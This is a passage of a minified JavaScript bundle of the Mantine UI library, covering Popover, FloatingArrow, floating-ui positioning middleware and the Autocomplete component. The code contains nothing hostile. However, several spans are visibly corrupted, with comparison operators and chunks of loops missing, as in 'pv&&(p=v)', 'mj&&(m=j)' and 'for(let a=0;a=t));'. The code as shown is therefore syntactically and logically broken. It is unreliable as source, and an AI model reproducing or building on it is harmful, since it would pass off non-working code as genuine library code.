0===d?o?n.createElement(n.Fragment,null,a({})):null:"exited"===u?null:n.createElement(n.Fragment,null,a((0,tN.B)({transition:e,duration:d,state:u,timingFunction:p})))}tT.displayName="@mantine/core/Transition";var tD=r(5909);function tL({children:e,active:t=!0,refProp:r="ref"}){let o=(0,tD.P)(t),a=(0,c.Y)(o,null==e?void 0:e.ref);return tp(e)?(0,n.cloneElement)(e,{[r]:a}):e}tL.displayName="@mantine/core/FocusTrap";var tA=Object.defineProperty,t$=Object.defineProperties,tW=Object.getOwnPropertyDescriptors,tF=Object.getOwnPropertySymbols,tB=Object.prototype.hasOwnProperty,tM=Object.prototype.propertyIsEnumerable,t_=(e,t,r)=>t in e?tA(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,tH=(e,t)=>{for(var r in t||(t={}))tB.call(t,r)&&t_(e,r,t[r]);if(tF)for(var r of tF(t))tM.call(t,r)&&t_(e,r,t[r]);return e},tY=(e,t)=>t$(e,tW(t));function tG(e,t,r,o){return"center"===e||"center"===o?{top:t}:"end"===e?{bottom:r}:"start"===e?{top:r}:{}}function tV(e,t,r,o,n){return"center"===e||"center"===o?{left:t}:"end"===e?{["ltr"===n?"right":"left"]:r}:"start"===e?{["ltr"===n?"left":"right"]:r}:{}}let tX={bottom:"borderTopLeftRadius",left:"borderTopRightRadius",right:"borderBottomLeftRadius",top:"borderBottomRightRadius"};var tq=Object.defineProperty,tK=Object.defineProperties,tZ=Object.getOwnPropertyDescriptors,tJ=Object.getOwnPropertySymbols,tU=Object.prototype.hasOwnProperty,tQ=Object.prototype.propertyIsEnumerable,t0=(e,t,r)=>t in e?tq(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,t1=(e,t)=>{for(var r in t||(t={}))tU.call(t,r)&&t0(e,r,t[r]);if(tJ)for(var r of tJ(t))tQ.call(t,r)&&t0(e,r,t[r]);return e},t2=(e,t)=>tK(e,tZ(t)),t4=(e,t)=>{var r={};for(var o in e)tU.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&tJ)for(var o of tJ(e))0>t.indexOf(o)&&tQ.call(e,o)&&(r[o]=e[o]);return r};let t9=(0,n.forwardRef)((e,t)=>{var{withBorder:r,position:o,arrowSize:a,arrowOffset:i,arrowRadius:l,arrowPosition:c,visible:s,arrowX:f,arrowY:d}=e,p=t4(e,["withBorder","position","arrowSize","arrowOffset","arrowRadius","arrowPosition","visible","arrowX","arrowY"]);let m=(0,u.rZ)();return s?n.createElement("div",t2(t1({},p),{ref:t,style:function({position:e,withBorder:t,arrowSize:r,arrowOffset:o,arrowRadius:n,arrowPosition:a,arrowX:i,arrowY:l,dir:c}){let[s,f="center"]=e.split("-"),d={width:r,height:r,transform:"rotate(45deg)",position:"absolute",[tX[s]]:n},u=t?-r/2-1:-r/2;return"left"===s?tY(tH(tH({},d),tG(f,l,o,a)),{right:u,borderLeft:0,borderBottom:0}):"right"===s?tY(tH(tH({},d),tG(f,l,o,a)),{left:u,borderRight:0,borderTop:0}):"top"===s?tY(tH(tH({},d),tV(f,i,o,a,c)),{bottom:u,borderTop:0,borderLeft:0}):"bottom"===s?tY(tH(tH({},d),tV(f,i,o,a,c)),{top:u,borderBottom:0,borderRight:0}):{}}({withBorder:r,position:o,arrowSize:a,arrowOffset:i,arrowRadius:l,arrowPosition:c,dir:m.dir,arrowX:f,arrowY:d})})):null});t9.displayName="@mantine/core/FloatingArrow";var t5=Object.defineProperty,t7=Object.defineProperties,t6=Object.getOwnPropertyDescriptors,t3=Object.getOwnPropertySymbols,t8=Object.prototype.hasOwnProperty,re=Object.prototype.propertyIsEnumerable,rt=(e,t,r)=>t in e?t5(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,rr=(e,t)=>{for(var r in t||(t={}))t8.call(t,r)&&rt(e,r,t[r]);if(t3)for(var r of t3(t))re.call(t,r)&&rt(e,r,t[r]);return e},ro=(e,t)=>t7(e,t6(t)),rn=(e,t)=>{var r={};for(var o in e)t8.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&t3)for(var o of t3(e))0>t.indexOf(o)&&re.call(e,o)&&(r[o]=e[o]);return r};let ra={};function ri(e){let t=(0,u.N4)("PopoverDropdown",ra,e),{style:r,className:o,children:a,onKeyDownCapture:i}=t,l=rn(t,["style","className","children","onKeyDownCapture"]),c=tu(),{classes:s,cx:f}=tz({radius:c.radius,shadow:c.shadow},{name:c.__staticSelector,classNames:c.classNames,styles:c.styles,unstyled:c.unstyled}),d=(0,tR.u)({opened:c.opened,shouldReturnFocus:c.returnFocus}),p=c.withRoles?{"aria-labelledby":c.getTargetId(),id:c.getDropdownId(),role:"dialog"}:{};return c.disabled?null:n.createElement(tC.q,{withinPortal:c.withinPortal},n.createElement(tT,{mounted:c.opened,transition:c.transition,duration:c.transitionDuration,exitDuration:"number"==typeof c.exitTransitionDuration?c.exitTransitionDuration:c.transitionDuration},e=>{var t,u;return n.createElement(tL,{active:c.trapFocus},n.createElement(g.x,rr(ro(rr({},p),{tabIndex:-1,key:c.placement,ref:c.floating,style:ro(rr(rr({},r),e),{zIndex:c.zIndex,top:null!=(t=c.y)?t:0,left:null!=(u=c.x)?u:0,width:"target"===c.width?void 0:c.width}),className:f(s.dropdown,o),onKeyDownCapture:function(e,t={active:!0}){return"function"==typeof e&&t.active?r=>{var o;"Escape"===r.key&&(e(r),null==(o=t.onTrigger)||o.call(t))}:t.onKeyDown||tE}(c.onClose,{active:c.closeOnEscape,onTrigger:d,onKeyDown:i}),"data-position":c.placement}),l),a,n.createElement(t9,{ref:c.arrowRef,arrowX:c.arrowX,arrowY:c.arrowY,visible:c.withArrow,withBorder:!0,position:c.placement,arrowSize:c.arrowSize,arrowRadius:c.arrowRadius,arrowOffset:c.arrowOffset,arrowPosition:c.arrowPosition,className:s.arrow})))}))}ri.displayName="@mantine/core/PopoverDropdown";var rl=Object.getOwnPropertySymbols,rc=Object.prototype.hasOwnProperty,rs=Object.prototype.propertyIsEnumerable,rf=(e,t)=>{var r={};for(var o in e)rc.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&rl)for(var o of rl(e))0>t.indexOf(o)&&rs.call(e,o)&&(r[o]=e[o]);return r};let rd={position:"bottom",offset:8,positionDependencies:[],transition:"fade",transitionDuration:150,middlewares:{flip:!0,shift:!0,inline:!1},arrowSize:7,arrowOffset:5,arrowRadius:0,arrowPosition:"side",closeOnClickOutside:!0,withinPortal:!1,closeOnEscape:!0,trapFocus:!1,withRoles:!0,returnFocus:!1,clickOutsideEvents:["mousedown","touchstart"],zIndex:(0,s.w)("popover"),__staticSelector:"Popover",width:"max-content"};function ru(e){var t,r,o,a,c,s;let f=(0,n.useRef)(null),d=(0,u.N4)("Popover",rd,e),{children:p,position:m,offset:b,onPositionChange:y,positionDependencies:g,opened:h,transition:v,transitionDuration:w,width:O,middlewares:x,withArrow:k,arrowSize:P,arrowOffset:j,arrowRadius:S,arrowPosition:E,unstyled:R,classNames:z,styles:C,closeOnClickOutside:N,withinPortal:I,closeOnEscape:T,clickOutsideEvents:D,trapFocus:L,onClose:A,onOpen:$,onChange:W,zIndex:F,radius:B,shadow:M,id:_,defaultOpened:H,exitTransitionDuration:Y,__staticSelector:G,withRoles:V,disabled:X,returnFocus:q}=d,K=rf(d,["children","position","offset","onPositionChange","positionDependencies","opened","transition","transitionDuration","width","middlewares","withArrow","arrowSize","arrowOffset","arrowRadius","arrowPosition","unstyled","classNames","styles","closeOnClickOutside","withinPortal","closeOnEscape","clickOutsideEvents","trapFocus","onClose","onOpen","onChange","zIndex","radius","shadow","id","defaultOpened","exitTransitionDuration","__staticSelector","withRoles","disabled","returnFocus"]),[Z,J]=(0,n.useState)(null),[U,Q]=(0,n.useState)(null),ee=(0,em.M)(_),et=(0,u.rZ)(),er=function(e){var t;let[r,o]=(0,i.C)({value:e.opened,defaultValue:e.defaultOpened,finalValue:!1,onChange:e.onChange}),a=()=>{var t;null==(t=e.onClose)||t.call(e),o(!1)},c=()=>{var t,n;r?(null==(t=e.onClose)||t.call(e),o(!1)):(null==(n=e.onOpen)||n.call(e),o(!0))},s=function(e){void 0===e&&(e={});let{open:t=!1,onOpenChange:r,nodeId:o}=e,a=function(e){void 0===e&&(e={});let{placement:t="bottom",strategy:r="absolute",middleware:o=[],whileElementsMounted:a,open:i}=e,[l,c]=n.useState({x:null,y:null,strategy:r,placement:t,middlewareData:{},isPositioned:!1}),[s,f]=n.useState(o);tr(s,o)||f(o);let d=n.useRef(null),u=n.useRef(null),p=n.useRef(l),m=function(e){let t=n.useRef(e);return tt(()=>{t.current=e}),t}(a),[b,y]=n.useState(null),[g,h]=n.useState(null),v=n.useCallback(e=>{d.current!==e&&(d.current=e,y(e))},[]),w=n.useCallback(e=>{u.current!==e&&(u.current=e,h(e))},[]),O=n.useCallback(()=>{d.current&&u.current&&e3(d.current,u.current,{middleware:s,placement:t,strategy:r}).then(e=>{let t={...e,isPositioned:!0};x.current&&!tr(p.current,t)&&(p.current=t,e8.flushSync(()=>{c(t)}))})},[s,t,r]);tt(()=>{!1===i&&p.current.isPositioned&&(p.current.isPositioned=!1,c(e=>({...e,isPositioned:!1})))},[i]);let x=n.useRef(!1);tt(()=>(x.current=!0,()=>{x.current=!1}),[]),tt(()=>{if(b&&g){if(m.current)return m.current(b,g,O);O()}},[b,g,O,m]);let k=n.useMemo(()=>({reference:d,floating:u,setReference:v,setFloating:w}),[v,w]),P=n.useMemo(()=>({reference:b,floating:g}),[b,g]);return n.useMemo(()=>({...l,update:O,refs:k,elements:P,reference:v,floating:w}),[l,O,k,P,v,w])}(e),i=ta(),l=n.useRef(null),c=n.useRef({}),s=n.useState(()=>(function(){let e=new Map;return{emit(t,r){var o;null==(o=e.get(t))||o.forEach(e=>e(r))},on(t,r){e.set(t,[...e.get(t)||[],r])},off(t,r){e.set(t,(e.get(t)||[]).filter(e=>e!==r))}}})())[0],[f,d]=n.useState(null),u=n.useCallback(e=>{let t=ti(e)?{getBoundingClientRect:()=>e.getBoundingClientRect(),contextElement:e}:e;a.refs.setReference(t)},[a.refs]),p=n.useCallback(e=>{(ti(e)||null===e)&&(l.current=e,d(e)),(ti(a.refs.reference.current)||null===a.refs.reference.current||null!==e&&!ti(e))&&a.refs.setReference(e)},[a.refs]),m=n.useMemo(()=>({...a.refs,setReference:p,setPositionReference:u,domReference:l}),[a.refs,p,u]),b=n.useMemo(()=>({...a.elements,domReference:f}),[a.elements,f]),y=function(e){let t=n.useRef(()=>{});return tc(()=>{t.current=e}),n.useCallback(function(){for(var e=arguments.length,r=Array(e),o=0;o({...a,refs:m,elements:b,dataRef:c,nodeId:o,events:s,open:t,onOpenChange:y}),[a,o,s,t,y,m,b]);return to(()=>{let e=null==i?void 0:i.nodesRef.current.find(e=>e.id===o);e&&(e.context=g)}),n.useMemo(()=>({...a,context:g,refs:m,reference:p,positionReference:u}),[a,m,g,p,u])}({placement:e.position,middleware:[...function(e){var t,r,o,n,a;let i=[(void 0===(t=e.offset)&&(t=0),{name:"offset",options:t,async fn(e){let{x:r,y:o}=e,n=await async function(e,t){let{placement:r,platform:o,elements:n}=e,a=await (null==o.isRTL?void 0:o.isRTL(n.floating)),i=eh(r),l=ey(r),c="x"===ev(r),s=["left","top"].includes(i)?-1:1,f=a&&c?-1:1,d="function"==typeof t?t(e):t,{mainAxis:u,crossAxis:p,alignmentAxis:m}="number"==typeof d?{mainAxis:d,crossAxis:0,alignmentAxis:null}:{mainAxis:0,crossAxis:0,alignmentAxis:null,...d};return l&&"number"==typeof m&&(p="end"===l?-1*m:m),c?{x:p*f,y:u*s}:{x:u*s,y:p*f}}(e,t);return{x:r+n.x,y:o+n.y,data:n}}})];return e.middlewares.shift&&i.push({name:"shift",options:o={limiter:(void 0===r&&(r={}),{options:r,fn(e){let{x:t,y:o,placement:n,rects:a,middlewareData:i}=e,{offset:l=0,mainAxis:c=!0,crossAxis:s=!0}=r,f={x:t,y:o},d=ev(n),u=eI(d),p=f[d],m=f[u],b="function"==typeof l?l(e):l,y="number"==typeof b?{mainAxis:b,crossAxis:0}:{mainAxis:0,crossAxis:0,...b};if(c){let g="y"===d?"height":"width",h=a.reference[d]-a.floating[g]+y.mainAxis,v=a.reference[d]+a.reference[g]-y.mainAxis;pv&&(p=v)}if(s){var w,O;let x="y"===d?"width":"height",k=["top","left"].includes(eh(n)),P=a.reference[u]-a.floating[x]+(k&&(null==(w=i.offset)?void 0:w[u])||0)+(k?0:y.crossAxis),j=a.reference[u]+a.reference[x]+(k?0:(null==(O=i.offset)?void 0:O[u])||0)-(k?y.crossAxis:0);mj&&(m=j)}return{[d]:p,[u]:m}}})},async fn(e){let{x:t,y:r,placement:n}=e,{mainAxis:a=!0,crossAxis:i=!1,limiter:l={fn:e=>{let{x:t,y:r}=e;return{x:t,y:r}}},...c}=o,s={x:t,y:r},f=await eP(e,c),d=ev(eh(n)),u=eI(d),p=s[d],m=s[u];a&&(p=eS(p+f["y"===d?"top":"left"],ej(p,p-f["y"===d?"bottom":"right"]))),i&&(m=eS(m+f["y"===u?"top":"left"],ej(m,m-f["y"===u?"bottom":"right"])));let b=l.fn({...e,[d]:p,[u]:m});return{...b,data:{x:b.x-t,y:b.y-r}}}}),e.middlewares.flip&&i.push((void 0===n&&(n={}),{name:"flip",options:n,async fn(e){var t,r,o,a;let{placement:i,middlewareData:l,rects:c,initialPlacement:s,platform:f,elements:d}=e,{mainAxis:u=!0,crossAxis:p=!0,fallbackPlacements:m,fallbackStrategy:b="bestFit",fallbackAxisSideDirection:y="none",flipAlignment:g=!0,...h}=n,v=eh(i),w=eh(s)===s,O=await (null==f.isRTL?void 0:f.isRTL(d.floating)),x=m||(w||!g?[ez(s)]:function(e){let t=ez(e);return[eN(e),t,eN(t)]}(s));m||"none"===y||x.push(...function(e,t,r,o){let n=ey(e),a=function(e,t,r){let o=["left","right"],n=["right","left"];switch(e){case"top":case"bottom":return r?t?n:o:t?o:n;case"left":case"right":return t?["top","bottom"]:["bottom","top"];default:return[]}}(eh(e),"start"===r,o);return n&&(a=a.map(e=>e+"-"+n),t&&(a=a.concat(a.map(eN)))),a}(s,g,y,O));let k=[s,...x],P=await eP(e,h),j=[],S=(null==(t=l.flip)?void 0:t.overflows)||[];if(u&&j.push(P[v]),p){let{main:E,cross:R}=function(e,t,r){void 0===r&&(r=!1);let o=ey(e),n=ev(e),a=eg(n),i="x"===n?o===(r?"end":"start")?"right":"left":"start"===o?"bottom":"top";return t.reference[a]>t.floating[a]&&(i=ez(i)),{main:i,cross:ez(i)}}(i,c,O);j.push(P[E],P[R])}if(S=[...S,{placement:i,overflows:j}],!j.every(e=>e<=0)){let z=((null==(r=l.flip)?void 0:r.index)||0)+1,C=k[z];if(C)return{data:{index:z,overflows:S},reset:{placement:C}};let N=null==(o=S.filter(e=>e.overflows[0]<=0).sort((e,t)=>e.overflows[1]-t.overflows[1])[0])?void 0:o.placement;if(!N)switch(b){case"bestFit":{let I=null==(a=S.map(e=>[e.placement,e.overflows.filter(e=>e>0).reduce((e,t)=>e+t,0)]).sort((e,t)=>e[1]-t[1])[0])?void 0:a[0];I&&(N=I);break}case"initialPlacement":N=s}if(i!==N)return{reset:{placement:N}}}return{}}})),e.middlewares.inline&&i.push((void 0===a&&(a={}),{name:"inline",options:a,async fn(e){let{placement:t,elements:r,rects:o,platform:n,strategy:i}=e,{padding:l=2,x:c,y:s}=a,f=ek(n.convertOffsetParentRelativeRectToViewportRelativeRect?await n.convertOffsetParentRelativeRectToViewportRelativeRect({rect:o.reference,offsetParent:await (null==n.getOffsetParent?void 0:n.getOffsetParent(r.floating)),strategy:i}):o.reference),d=await (null==n.getClientRects?void 0:n.getClientRects(r.reference))||[],u=ex(l),p=await n.getElementRects({reference:{getBoundingClientRect:function(){if(2===d.length&&d[0].left>d[1].right&&null!=c&&null!=s)return d.find(e=>c>e.left-u.left&&ce.top-u.top&&s=2){if("x"===ev(t)){let e=d[0],r=d[d.length-1],o="top"===eh(t),n=e.top,a=r.bottom,i=o?e.left:r.left,l=o?e.right:r.right;return{top:n,bottom:a,left:i,right:l,width:l-i,height:a-n,x:i,y:n}}let p="left"===eh(t),m=eS(...d.map(e=>e.right)),b=ej(...d.map(e=>e.left)),y=d.filter(e=>p?e.left===b:e.right===m),g=y[0].top,h=y[y.length-1].bottom;return{top:g,bottom:h,left:b,right:m,width:m-b,height:h-g,x:b,y:g}}return f}},floating:r.floating,strategy:i});return o.reference.x!==p.reference.x||o.reference.y!==p.reference.y||o.reference.width!==p.reference.width||o.reference.height!==p.reference.height?{reset:{rects:p}}:{}}})),i.push(te({element:e.arrowRef,padding:e.arrowOffset})),i}(e),..."target"===e.width?[{name:"size",options:t={apply({rects:e}){var t,r;Object.assign(null!=(r=null==(t=s.refs.floating.current)?void 0:t.style)?r:{},{width:`${e.reference.width}px`})}},async fn(e){let r,o;let{placement:n,rects:a,platform:i,elements:l}=e,{apply:c=()=>{},...s}=t,f=await eP(e,s),d=eh(n),u=ey(n),p="x"===ev(n),{width:m,height:b}=a.floating;"top"===d||"bottom"===d?(r=d,o=u===(await (null==i.isRTL?void 0:i.isRTL(l.floating))?"start":"end")?"left":"right"):(o=d,r="end"===u?"top":"bottom");let y=b-f[r],g=m-f[o],h=y,v=g;if(p?v=ej(m-f.right-f.left,g):h=ej(b-f.bottom-f.top,y),!e.middlewareData.shift&&!u){let w=eS(f.left,0),O=eS(f.right,0),x=eS(f.top,0),k=eS(f.bottom,0);p?v=m-2*(0!==w||0!==O?w+O:eS(f.left,f.right)):h=b-2*(0!==x||0!==k?x+k:eS(f.top,f.bottom))}await c({...e,availableWidth:v,availableHeight:h});let P=await i.getDimensions(l.floating);return m!==P.width||b!==P.height?{reset:{rects:!0}}:{}}}]:[]]});return!function({opened:e,floating:t,positionDependencies:r}){let[o,a]=(0,n.useState)(0);(0,n.useEffect)(()=>{if(t.refs.reference.current&&t.refs.floating.current)return function(e,t,r,o){void 0===o&&(o={});let{ancestorScroll:n=!0,ancestorResize:a=!0,elementResize:i=!0,animationFrame:l=!1}=o,c=n&&!l,s=c||a?[...e_(e)?e4(e):e.contextElement?e4(e.contextElement):[],...e4(t)]:[];s.forEach(e=>{c&&e.addEventListener("scroll",r,{passive:!0}),a&&e.addEventListener("resize",r)});let f,d=null;if(i){let u=!0;d=new ResizeObserver(()=>{u||r(),u=!1}),e_(e)&&!l&&d.observe(e),e_(e)||!e.contextElement||l||d.observe(e.contextElement),d.observe(t)}let p=l?eU(e):null;return l&&function t(){let o=eU(e);p&&(o.x!==p.x||o.y!==p.y||o.width!==p.width||o.height!==p.height)&&r(),p=o,f=requestAnimationFrame(t)}(),r(),()=>{var e;s.forEach(e=>{c&&e.removeEventListener("scroll",r),a&&e.removeEventListener("resize",r)}),null==(e=d)||e.disconnect(),d=null,l&&cancelAnimationFrame(f)}}(t.refs.reference.current,t.refs.floating.current,t.update)},[t.refs.reference,t.refs.floating,e,o]),(0,l.l)(()=>{t.update()},r),(0,l.l)(()=>{a(e=>e+1)},[e])}({opened:e.opened,positionDependencies:e.positionDependencies,floating:s}),(0,l.l)(()=>{var t;null==(t=e.onPositionChange)||t.call(e,s.placement)},[s.placement]),{floating:s,controlled:"boolean"==typeof e.opened,opened:r,onClose:a,onToggle:c}}({middlewares:x,width:O,position:function(e,t){if("rtl"===e&&(t.includes("right")||t.includes("left"))){let[r,o]=t.split("-"),n="right"===r?"left":"right";return void 0===o?n:`${n}-${o}`}return t}(et.dir,m),offset:b+(k?P/2:0),arrowRef:f,arrowOffset:j,onPositionChange:y,positionDependencies:g,opened:h,defaultOpened:H,onChange:W,onOpen:$,onClose:A});!function(e,t,r){let o=(0,n.useRef)();(0,n.useEffect)(()=>{let n=t=>{let{target:n}=null!=t?t:{};if(Array.isArray(r)){let a=(null==n?void 0:n.hasAttribute("data-ignore-outside-clicks"))||!document.body.contains(n)&&"HTML"!==n.tagName,i=r.every(e=>!!e&&!t.composedPath().includes(e));i&&!a&&e()}else o.current&&!o.current.contains(n)&&e()};return(t||eb).forEach(e=>document.addEventListener(e,n)),()=>{(t||eb).forEach(e=>document.removeEventListener(e,n))}},[o,e,r])}(()=>N&&er.onClose(),D,[Z,U]);let eo=(0,n.useCallback)(e=>{J(e),er.floating.reference(e)},[er.floating.reference]),en=(0,n.useCallback)(e=>{Q(e),er.floating.floating(e)},[er.floating.floating]);return n.createElement(td,{value:{returnFocus:q,disabled:X,controlled:er.controlled,reference:eo,floating:en,x:er.floating.x,y:er.floating.y,arrowX:null==(o=null==(r=null==(t=er.floating)?void 0:t.middlewareData)?void 0:r.arrow)?void 0:o.x,arrowY:null==(s=null==(c=null==(a=er.floating)?void 0:a.middlewareData)?void 0:c.arrow)?void 0:s.y,opened:er.opened,arrowRef:f,transition:v,transitionDuration:w,exitTransitionDuration:Y,width:O,withArrow:k,arrowSize:P,arrowOffset:j,arrowRadius:S,arrowPosition:E,placement:er.floating.placement,trapFocus:L,withinPortal:I,zIndex:F,radius:B,shadow:M,closeOnEscape:T,onClose:er.onClose,onToggle:er.onToggle,getTargetId:()=>`${ee}-target`,getDropdownId:()=>`${ee}-dropdown`,withRoles:V,targetProps:K,__staticSelector:G,classNames:z,styles:C,unstyled:R}},p)}ru.Target=tS,ru.Dropdown=ri,ru.displayName="@mantine/core/Popover";var rp=Object.defineProperty,rm=Object.getOwnPropertySymbols,rb=Object.prototype.hasOwnProperty,ry=Object.prototype.propertyIsEnumerable,rg=(e,t,r)=>t in e?rp(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,rh=(e,t)=>{for(var r in t||(t={}))rb.call(t,r)&&rg(e,r,t[r]);if(rm)for(var r of rm(t))ry.call(t,r)&&rg(e,r,t[r]);return e},rv=(e,t)=>{var r={};for(var o in e)rb.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&rm)for(var o of rm(e))0>t.indexOf(o)&&ry.call(e,o)&&(r[o]=e[o]);return r};function rw({opened:e,transition:t="fade",transitionDuration:r=0,shadow:o,withinPortal:a,children:i,__staticSelector:l,onDirectionChange:c,switchDirectionOnFlip:s,zIndex:f,dropdownPosition:d,positionDependencies:u=[],classNames:p,styles:m,unstyled:b,readOnly:y}){return n.createElement(ru,{unstyled:b,classNames:p,styles:m,width:"target",withRoles:!1,opened:e,middlewares:{flip:"flip"===d,shift:!1},position:"flip"===d?"bottom":d,positionDependencies:u,zIndex:f,__staticSelector:l,withinPortal:a,transition:t,transitionDuration:r,shadow:o,disabled:y,onPositionChange:e=>s&&(null==c?void 0:c("top"===e?"column-reverse":"column"))},i)}rw.Target=ru.Target,rw.Dropdown=function(e){var{children:t,component:r="div",maxHeight:o=220,direction:a="column",id:i,innerRef:l,__staticSelector:c,styles:s,classNames:f,unstyled:d}=e,u=rv(e,["children","component","maxHeight","direction","id","innerRef","__staticSelector","styles","classNames","unstyled"]);let{classes:p}=ep(null,{name:c,styles:s,classNames:f,unstyled:d});return n.createElement(ru.Dropdown,rh({p:0,onMouseDown:e=>e.preventDefault()},u),n.createElement("div",{style:{maxHeight:o,display:"flex"}},n.createElement(g.x,{component:r||"div",id:`${i}-items`,"aria-labelledby":`${i}-label`,role:"listbox",onMouseDown:e=>e.preventDefault(),style:{flex:1,overflowY:r!==eu?"auto":void 0},"data-combobox-popover":!0,ref:l},n.createElement("div",{className:p.itemsWrapper,style:{flexDirection:a}},t))))};var rO=(0,p.k)(()=>({wrapper:{position:"relative"}})),rx=r(6261),rk=r(4151),rP=Object.defineProperty,rj=Object.defineProperties,rS=Object.getOwnPropertyDescriptors,rE=Object.getOwnPropertySymbols,rR=Object.prototype.hasOwnProperty,rz=Object.prototype.propertyIsEnumerable,rC=(e,t,r)=>t in e?rP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,rN=(e,t)=>{for(var r in t||(t={}))rR.call(t,r)&&rC(e,r,t[r]);if(rE)for(var r of rE(t))rz.call(t,r)&&rC(e,r,t[r]);return e},rI=(e,t)=>rj(e,rS(t)),rT=(e,t)=>{var r={};for(var o in e)rR.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&rE)for(var o of rE(e))0>t.indexOf(o)&&rz.call(e,o)&&(r[o]=e[o]);return r};let rD={required:!1,size:"sm",shadow:"sm",limit:5,itemComponent:ee,transition:"pop",transitionDuration:0,initiallyOpened:!1,filter:function(e,t){return t.value.toLowerCase().trim().includes(e.toLowerCase().trim())},switchDirectionOnFlip:!1,zIndex:(0,s.w)("popover"),dropdownPosition:"flip",maxDropdownHeight:"auto",positionDependencies:[]},rL=(0,n.forwardRef)((e,t)=>{let r=(0,rx.k)("Autocomplete",rD,e),{inputProps:o,wrapperProps:a,shadow:s,data:f,limit:d,value:u,defaultValue:p,onChange:m,unstyled:b,itemComponent:y,onItemSubmit:g,onKeyDown:h,onFocus:v,onBlur:w,onClick:O,transition:x,transitionDuration:k,initiallyOpened:P,transitionTimingFunction:j,classNames:S,styles:E,filter:R,nothingFound:z,onDropdownClose:C,onDropdownOpen:N,withinPortal:I,switchDirectionOnFlip:T,zIndex:D,dropdownPosition:L,maxDropdownHeight:A,dropdownComponent:$,positionDependencies:W,readOnly:F,hoverOnSearchChange:B}=r,M=rT(r,["inputProps","wrapperProps","shadow","data","limit","value","defaultValue","onChange","unstyled","itemComponent","onItemSubmit","onKeyDown","onFocus","onBlur","onClick","transition","transitionDuration","initiallyOpened","transitionTimingFunction","classNames","styles","filter","nothingFound","onDropdownClose","onDropdownOpen","withinPortal","switchDirectionOnFlip","zIndex","dropdownPosition","maxDropdownHeight","dropdownComponent","positionDependencies","readOnly","hoverOnSearchChange"]),{classes:_}=rO(null,{classNames:S,styles:E,name:"Autocomplete",unstyled:b}),[H,Y]=(0,n.useState)(P),[G,X]=(0,n.useState)(-1),[q,K]=(0,n.useState)("column"),Z=(0,n.useRef)(null),[J,U]=(0,n.useState)(!1),[Q,ee]=(0,i.C)({value:u,defaultValue:p,finalValue:"",onChange:m}),et=e=>{Y(e);let t=e?N:C;"function"==typeof t&&t()};(0,l.l)(()=>{B&&Q?X(0):X(-1)},[Q,B]);let er=e=>{ee(e.value),"function"==typeof g&&g(e),et(!1)},eo=f.map(e=>"string"==typeof e?{value:e}:e),en=function({data:e}){let t=[],r=[],o=e.reduce((e,t,o)=>(t.group?e[t.group]?e[t.group].push(o):e[t.group]=[o]:r.push(o),e),{});return Object.keys(o).forEach(r=>{t.push(...o[r].map(t=>e[t]))}),t.push(...r.map(t=>e[t])),t}({data:function({data:e,limit:t,value:r,filter:o}){let n=[];for(let a=0;a=t));a+=1);return n}({data:eo,value:Q,limit:d,filter:R})}),ea=e=>{if(J)return;"function"==typeof h&&h(e);let t="column"===q,r=()=>{X(e=>e{X(e=>e>0?e-1:e)};switch(e.key){case"ArrowUp":e.preventDefault(),t?o():r();break;case"ArrowDown":e.preventDefault(),t?r():o();break;case"Enter":en[G]&&H&&(e.preventDefault(),ee(en[G].value),"function"==typeof g&&g(en[G]),et(!1));break;case"Escape":H&&(e.preventDefault(),et(!1))}},ei=e=>{"function"==typeof v&&v(e),et(!0)},el=e=>{"function"==typeof w&&w(e),et(!1)},ec=e=>{"function"==typeof O&&O(e),et(!0)},es=H&&(en.length>0||0===en.length&&!!z);return n.createElement(rk.I.Wrapper,rI(rN({},a),{__staticSelector:"Autocomplete"}),n.createElement(rw,{opened:es,transition:x,transitionDuration:k,shadow:"sm",withinPortal:I,__staticSelector:"Autocomplete",onDirectionChange:K,switchDirectionOnFlip:T,zIndex:D,dropdownPosition:L,positionDependencies:W,classNames:S,styles:E,unstyled:b,readOnly:F},n.createElement(rw.Target,null,n.createElement("div",{className:_.wrapper,role:"combobox","aria-haspopup":"listbox","aria-owns":es?`${o.id}-items`:null,"aria-controls":o.id,"aria-expanded":es,onMouseLeave:()=>X(-1),tabIndex:-1},n.createElement(rk.I,rI(rN(rN({type:"search",autoComplete:"off"},o),M),{readOnly:F,"data-mantine-stop-propagation":H,ref:(0,c.Y)(t,Z),onKeyDown:ea,classNames:S,styles:E,__staticSelector:"Autocomplete",value:Q,onChange:e=>{ee(e.currentTarget.value),et(!0)},onFocus:ei,onBlur:el,onClick:ec,onCompositionStart:()=>U(!0),onCompositionEnd:()=>U(!1),"aria-autocomplete":"list","aria-controls":es?`${o.id}-items`:null,"aria-activedescendant":G>=0?`${o.id}-${G}`:null})))),n.createElement(rw.Dropdown,{component:$||eu,maxHeight:A,direction:q,id:o.id,__staticSelector:"Autocomplete",classNames:S,styles:E},n.createElement(V,{data:en,hovered:G,classNames:S,styles:E,uuid:o.id,__staticSelector:"Autocomplete",onItemHover:X,onItemSelect:er,itemComponent:y,size:o.size,nothingFound:z}))))});rL.displayName="@mantine/core/Autocomplete"},7841:function(e,t,r){r.d(t,{z:function(){return _}});var o=r(7294),n=r(4761),a=r(8427),i=r(6817),l=(0,i.k)((e,{orientation:t,buttonBorderWidth:r})=>({root:{display:"flex",flexDirection:"vertical"===t?"column":"row","& [data-button]":{"&:first-of-type":{borderBottomRightRadius:0,["vertical"===t?"borderBottomLeftRadius":"borderTopRightRadius"]:0,["vertical"===t?"borderBottomWidth":"borderRightWidth"]:r/2},"&:last-of-type":{borderTopLeftRadius:0,["vertical"===t?"borderTopRightRadius":"borderBottomLeftRadius"]:0,["vertical"===t?"borderTopWidth":"borderLeftWidth"]:r/2},"&:not(:first-of-type):not(:last-of-type)":{borderRadius:0,["vertical"===t?"borderTopWidth":"borderLeftWidth"]:r/2,["vertical"===t?"borderBottomWidth":"borderRightWidth"]:r/2},"& + 